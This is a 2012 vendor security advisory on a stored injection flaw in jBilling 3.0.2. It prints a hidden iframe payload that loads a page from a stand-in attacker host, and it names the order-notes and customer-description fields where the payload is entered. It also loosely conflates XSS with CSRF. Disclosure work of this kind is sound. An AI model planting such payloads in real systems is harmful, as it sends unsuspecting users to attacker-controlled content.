



INGRESS SECURITY

INGRESS SECURITY SECURITY ADVISORY

INGRES-11232012-jBilling 3.0.2 Cross Site Scripting Vulnerability
November 23, 2012

OVERVIEW

Ingress Security has found a cross site scripting vulnerability in the form of a cross site request forgery in the jBilling billing software.

jBilling's mission is to provide a robust, secure, open source alternative for enterprise billing. With our world-class service team, we help companies all over the world deploy and maintain billing solutions to meet their business needs.

AFFECTED PRODUCTS

jBilling 3.0.2 and prior.

PLATFORM: Linux

LOCAL/REMOTE: Remote

CVSS SCORE: 3.7 (AV:R/AC:L/Au:R/C:C/I:P/A:N/B:E/P/RL:U/RC:U)

DESCRIPTION OF VULNERABILITIES

Cross Site Request Forgery (CSRF)

jBilling does not properly check user input, thus allowing the `<iframe>` tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following `<iframe>` tag would send them to a malicious website hosting malicious content:

```
<iframe src="http://attacker_host:4321/attack.html" height="1"
```

11/23/2012



INGRESS SECURITY

```
width="1" style="visibility: hidden;" />
```

The URLs that are affected are:

```
http://[host]/jbilling/orderBuilder/edit?execution=els1&userId=[uid]
```

Create a new order and in the notes section, input your malicious code.

```
http://[host]/jbilling/customer/edit
```

Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

DISCLAIMER

The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

Any modified copy or reproduction, including partial usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact info@ingresssecurity.com to get permission.